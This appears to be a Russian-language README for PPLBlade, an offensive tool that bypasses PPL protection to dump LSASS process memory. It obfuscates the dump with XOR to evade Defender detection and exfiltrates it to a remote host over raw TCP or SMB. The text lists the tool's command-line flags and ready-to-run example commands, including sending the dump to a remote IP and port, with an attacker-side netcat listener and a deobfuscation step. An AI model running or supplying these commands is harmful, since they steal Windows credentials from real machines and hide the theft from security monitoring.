
Обходит защиту PPL, чтобы снять дамп памяти процесса LSASS, обфусцирует файлы дампа с помощью XOR и удаленно выгружает их через RAW или SMB без записи на диск.
Инструмент для дампа защищенных процессов, поддерживающий обфускацию дампа памяти и передачу его на удаленные рабочие станции без сохранения на диск.
Ключевые функции:
Обзор методов, используемых в этом инструменте, можно найти здесь: https://tastypepperoni.medium.com/bypassing-defenders-lsass-dump-detection-and-ppl-protection-in-go-7dd85d9a32e6
Обратите внимание, что PROCEXP15.SYS указан в исходных файлах для целей компиляции. Его не нужно переносить на целевую машину вместе с PPLBlade.exe.
Он уже встроен в PPLBlade.exe. Эксплойт представляет собой единый исполняемый файл.
Режимы:
Режимы получения дескриптора:
Usage of PPLBlade.exe:
-driver string
Path where the driver file will be dropped (default: current directory)
-dumpmode string
Dump mode [local|network] (default "local")
-dumpname string
Name of the dump file (default "PPLBlade.dmp")
-handle string
Method to obtain target process handle [direct|procexp] (default "direct")
-help
Prints this help message
-ip string
IP of the remote server
-key string
XOR Key for obfuscation (default "PPLBlade")
-mode string
Kill or Dump process [dump|decrypt|cleanup|dothatlsassthing] (default "dump")
-name string
Process name of target process
-network string
Method for network transfer[raw|smb] (default "raw")
-obfuscate
Obfuscate dump file
-pass string
SMB password
-pid int
PID of target process (prioritized over process name)
-port int
PORT on the remote server
-quiet
Quiet mode
-service string
Name of the service (default "PPLBlade")
-share string
share name
-user string
SMB username
Examples:
PPLBlade.exe --mode dothatlsassthing
PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234
PPLBlade.exe --mode decrypt --dumpname PPLBlade.dmp --key PPLBlade
PPLBlade.exe --mode cleanup
Примеры:
Базовый PoC, использующий PROCEXP152.sys для дампа lsass:
PPLBlade.exe --mode dothatlsassthing
(Обратите внимание, что он не применяет XOR к файлу дампа; добавьте флаг --obfuscate, чтобы включить функцию XOR)
Загрузка обфусцированного дампа LSASS на удаленный хост:
PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234
Хост атакующего:
nc -lnp 1234 > lsass.dmp
python3 deobfuscate.py --dumpname lsass.dmp
Деобфускация дампа памяти:
PPLBlade.exe --mode descrypt --dumpname PPLBlade.dmp --key PPLBlade